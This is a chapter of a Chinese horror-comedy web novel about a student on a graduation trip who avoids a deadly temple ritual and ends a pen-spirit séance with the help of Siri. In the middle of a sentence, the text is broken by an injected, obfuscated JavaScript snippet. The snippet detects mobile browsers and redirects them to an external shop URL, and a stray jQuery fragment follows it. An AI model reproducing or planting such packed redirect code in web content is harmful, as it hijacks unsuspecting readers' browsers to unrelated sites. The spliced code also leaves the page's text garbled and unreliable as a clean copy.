C2
顺利扑倒在酒店床上的那一刻，蒋轲玹差点感动地哭出来。
路上她甚至因为担心有人改变注意，直接站在司机身边，像个神经病一样盯了一路。
下车的时候她还听见司机委婉地问班长要不要先送她去医院。
蒋轲玹内心宽带泪：……谢谢。
“轲崽，吃点什么吗？”有人敲了敲她的房门。
是白衾，他的房间在她隔壁。
而且现在除了他，班上估计没人愿意理她。
“出去逛逛小吃街吧，来的路上我看见村中心的七首庙附近有人摆摊。”蒋轲玹一个打挺从床上蹦起来，瞬间满血复活。
人生这么苦了，她一会要喝奶茶要加全糖！
酒店外闹哄哄的，一群人围着个面容憔悴，头发散乱的老婆婆，不仔细看还以为有人光天化日集体欺负老人，凑近才知道，是老人在酒店外拦着游客，执意不让他们走。
“来庙落村的除了去庙里上香还能干嘛？”一个年轻人企图说服老人，“我们就是因为听说这里的七首庙特别灵验，才开车五个小时过来的，怎么可能回去。”
“特别是明天，还是五年一度的降神会，七首神法力最强的时候。”拎着大包小包的大叔在一旁帮腔。
“七首庙香火鼎盛，外乡人来啦都会去拜拜。”酒店保安朝驻足的路人解释：“你们别理她，那个疯婆子一直都不正常。”
“她家里人不管她吗？”路人问保安。
“她不是本地人，哪来的家人啊。”保安吸了口烟，“她五年前疯疯癫癫地出现在大街上，也没个身份证明，我们都不知道她是哪跑丢的疯子。”
“报案了局里说数据库里没她的信息，所以后面村长做主，安置她住在养老院了。她平时会帮忙做做饭，打扫打扫卫生，传言说她是从后山那片林子里跑出来的，所以大家都喊林婆。”
路过的蒋轲玹：……
你确定这个林婆不是什么引发特定剧情的NPC吗？
这剧情一眼过去怎么人山人海的。
“林婆平时都还算正常，主要就是总拦着游客去庙里，这不影响赚钱嘛。”保安皱起眉，显然他也从鼎盛的香火中分了一杯羹。
他走上前驱赶林婆离开，林婆一动不动，嘴里喃喃自语：“千万别去，那里不好……他在骗你们。”
她语无伦次，时不时尖叫大喊，涎水粘湿了衣领。
但基本没人理她，甚至唯恐避之不及。
甚至还在摩肩接踵中被人推了一把。
“欸。”
在林婆倒地的瞬间，一只手撑到了她背后。
是蒋轲玹。
林婆像抓住救命稻草，死死攀住女孩的袖子，她混沌的眼睛里满是惊恐和悲伤，吞咽字句含糊不清。
“别去……别求，他们在说谎。”林婆猛地靠近，蒋轲玹可以清楚地看见她脸上地皱纹和眼球神经质地转动：“加勒玛吾孜听不懂人话，你们不是信徒，是食物……”
白衾过来把林婆拉开：“婆婆你别激动，先把手松开哈。”
“姑娘，你们别去，千万别去……”林婆松开手，支支吾吾。
“那个疯婆子在乱说，我们这的七首庙可是远近闻名的神庙。”保安笑嘻嘻地走上来，手里拿着一串平安福和小镜子，“来者既是有缘，这些可都是七首庙的大师开过光的宝物，带几个回家镇宅除灵，保家人平安，对女子还有滋阴补血的功效。”
镜子和平安福上的图案显然是特别定制的，看着像五脏六腑，怎么看怎么透出一股诡异感。
保安看见蒋轲玹盯着手里的东西，以为有戏：“我这批货和庙里的都一样，不仅更便宜功效还更强，是五年前降神会送去守夜的那批。加勒玛吾孜是我们村的守护神，您可别信某些人的疯话。”他不屑地撇了林婆一眼。
“怎么不信，我们信啊。”蒋轲玹果断道。
“我知道你们不信我……”林婆刚准备说出突然噎住了。
“不仅我信，和我一起来的整个旅游团都信。”
蒋轲玹说着打开群聊。
讲科学（非盗号版）：酒店门口有七首庙的工作人员说目前暂不宜前往，告诉大家以免白跑一趟。
过了三分钟，群里无人回应。
蒋轲玹笑嘻嘻地看了眼白衾，对方不用问都知道蒋轲玹想让他带个头。
白衾：1
一学一个不吱声：1
一班公仆：1
不是路人甲：1
我是路人乙：1
……
蒋轲玹把手机在林婆和保安面前晃了晃，“看见了吗，我们都不去了。”
保安：……
林婆：……
林婆的表情有些不可思议，这似乎是她职业生涯中最轻松的一次劝说。
白衾任由蒋轲玹把自己拉走，看着对方乐滋滋地向老板要了个特色烤饼，忍不住问：“你以前不是很喜欢这些东西吗？真不去？”
“都说了是以前。”蒋轲玹深沉道：“人会是一夜之间长大的。”
白衾：？
“那个林婆一定是某个恐怖故事开展的节点，故事名字我都想好了。”蒋轲玹咬了一口陷饼，“HE版叫《因为虚心接受NPC劝告所以美美度过修学旅行成功存活的七个聪明蛋》，BE版就叫《因为不听NPC劝说闯入祭祀仪式被献祭邪神的七个蠢蛋》！”
要把一切恐怖事件扼杀在摇篮里。
白衾：“……行吧你开心就好。”
「人物觉醒进度75%，走进科学系统安装包安装中，请耐心等待……」
蒋轲玹突然拍了拍自己的耳朵。
“你怎么了吗？身体不舒服？”白衾问。
“你没听见什么声音吗？”
“这里不是到处都是声音吗？降噪耳机借你？”节假日的小吃街想安静是不可能的。
“不用不用。”蒋轲玹摆摆手，“刚刚可能突然耳鸣了吧。”
*
他们沿路吃吃吃，嘴就没停过，一个突如其来的电话破灭了蒋轲玹吃遍小吃街的野心。
“蒋同学，你不是说晚上一起玩笔仙吗？怎么还没回来。”班长在电话那头说。
蒋轲玹：……
蒋轲玹扭头看向白衾：“我说过吗？”
“你说过。”
“什么时候？”
“你被盗号的时候吧……”
蒋轲玹：……
某人兴高采烈地出，如丧考妣地回。
“道具都准备好了！就差你们了。”学委甚至向酒店借了个空的接待室。
“……倒也不必这么齐全。”蒋轲玹小声逼逼。
“班长，前台说没有A4纸了。”小贾从门口跑进来，“笔也没了。”
“天哪！太遗憾了，这就不能玩笔仙了。”蒋轲玹差点没憋住笑出声。
学委睨了她一眼：“不是某人说要玩笔仙的吗？她也没带纸吗？”
蒋轲玹：……
“某些人就是这样，明明自己说要组织活动却只是口嗨。”学委又开始开大阴阳，“可能贵族就是这样吧，等着别人把事情全做好捧到他面前。”
蒋轲玹再蠢也听出来了。
她面无表地把身上的包丢在桌上，在里面翻找，
“不是说要纸笔吗？”
蒋轲玹把自己的iPad调到绘画界面放在蜡烛中央，又掏出了触控笔。
“纸。”她指着平板。
“笔。”她又指了指旁边的触控笔。
学委：……
“也，也行吧。”老好人班长挠了挠头，“毕竟时代进步了。”
黑暗的房间里一群人围在摆满烛火的桌子旁，他们各自伸出一只手，握在了同一只了笔上，控制着笔尖轻轻触碰桌面的……平板。
所有人都正襟危坐，以一种极其严肃的态齐声共念。
“笔仙笔仙，你是我的前世，我是你的今生，若愿与我续缘，请在纸上画圈。”
“笔仙笔仙，你是我的前世，我是你的今生，若愿与我续缘，请在纸上画圈。”
蒋轲玹暗搓搓地混在声音里改了几个字。
“笔仙笔仙，你是你的前世，我是我的今生，若愿在纸上画圆，请在纸上画圈。”
学委一眼识破：“好好说。”
蒋轲玹只能跟着所有人一起念。
笔真的动了。
“笔仙，他喜欢我吗？”
一股无形的力量牵着所有人的手画了个标准的圆圈。
“啊！我明天就去表白。”连艾瑙同学娇羞道。
蒋轲玹：不是，你们搞这种可怕的东西就为了问这？要我说不如问彩票号码。
“笔仙，我的大学宿舍生活会顺利吗？”小贾同学问。
笔杆子左右动了动，又停下了，半晌没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13758495|145541||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有反应。
“啊！”小贾看起来很失望，“我果然要遇上奇葩舍友了。”
“说不定笔大人只是网卡掉线了呢。”蒋轲玹安慰道。
下一秒，她突感一股渗入骨髓的寒意从笔杆窜至指尖，低头就看见小贾丧气地想把手松开。
！
“别松手！”蒋轲玹大喊：“还没送走！”
“哦哦，对对对，我都忘了。”小贾连忙攥紧右手。
“怎么送来着？”
“啊啊啊啊啊啊我没查！”
“我也没查！”
蒋轲玹：……
就前期精心准备是吧，请问忘记把笔仙送走是什么固定环节或者游戏传统吗？
周围的温度越来越低，头顶的灯光也忽明忽暗，蒋轲玹甚至能感受到有人的手越来越松。
电光火石之间，蒋轲玹灵光一现。
“喂Siri！”
“叮——”平板右下角出现了图标个图标，平静的AI男声从包里传了出来。
“我在。”
“念三遍请走笔仙的术词！”蒋轲玹下达指令。
“笔仙笔仙，感谢你的解答，笔仙笔仙，请归位。”
灯光瞬间恢复正常。
班长：……
学委：……
其他同学：……
这TM也行？？？
蒋轲玹舒了一口气，脱力般倒下。
“啪啪啪——”周围响起雷鸣般的掌声。
蒋轲玹：？
“不愧是蒋同学，果然是这方面的专家。”班长盛赞。
蒋轲玹微笑：我不是，我没有。
“是我戴有色眼镜看人了。”学委叹了口气，“对不起，有机会的话以后好好相处吧。”
蒋轲玹受宠若惊：“啊……谢谢，我以前也不对。”
“呜呜呜……谢谢你，我还以为我要死了。”连艾瑙掩面哭了起来，“如果不能和crush告白，我会遗憾死的。”
蒋轲玹：……是这样死啊。
“啊啊啊啊！我要和我爸爸妈妈哥哥姐姐外公外婆爷爷奶奶舅舅舅妈大姨二姨三婆六姑报平安！”小乙依旧稳定发挥。
蒋轲玹：……我说你还是群发吧。
“所以刚刚真的是……那个什么来了吗？”小贾同学欲言又止，抱住了自己的腿。
气氛又集体down了下来。
“不！不是！刚刚什么都没发生。”蒋轲玹站起身走出了门，远去的背影充满故事性与英雄色彩。
她无比坚定的声音从走廊传来。
“那就是集体癔症！”
当晚，群聊里又出现了十几条破除封建迷信帖的转发帖。
*
蒋轲玹从酒店床上爬了起来，迷迷糊糊办了退房，坐上了大巴车。
为期两天一夜的毕业旅行结束了，第二天大部分游客都涌去七首庙打算占个好位子等待晚上的降神会，但因为蒋轲玹，他们一行人对七首庙都没什么兴趣，所以提前打道回府。
全程有惊有险，但所幸平安度过。
蒋轲玹靠在后排椅子上喝着久违了的旺仔，细数这几天的魔幻经历。
回程路过小屋，原本无人问津的废屋围满了警察，交织的红蓝光仿佛诡异地让小屋重新活了过来。
司机外放的视频传来声音：“庙落村发生重大刑事案件，当地警方配合A市公安侦办，据悉，庙落村外三公里处的废屋发现7名死者，死因尚未查明……”
“目前已知死者均为外地游客，于前天参加庙落村降神会后集体失踪……”
蒋轲玹大脑一片空白，一阵熟悉的眩晕感伴随着耳鸣猛地袭来，她下意识往车窗外看，正好对上了双失去生机的灰白色眼球。
“死者蒋某某，女，18岁；贾某某，男，19岁；乙某某，女，18岁……”
下一秒，脑海里响起声音。
「恭喜恐怖小说《一百零一次见鬼》炮灰蒋轲玹成功觉醒，走进科学系统绝赞绑定中……」
「总目标：纠正人类行为逻辑，合理化异常事件，提高人类SAN值平均数，成为科学精神领袖！」
「支线任务001：阻止妈妈半夜梳头（██镜不存在异常）。」
「任务奖励：永不断电手电筒*1；辟邪流浪黑猫（划掉）精神抚慰喵*1」
「世界的未来就靠你了，努力吧，少女！」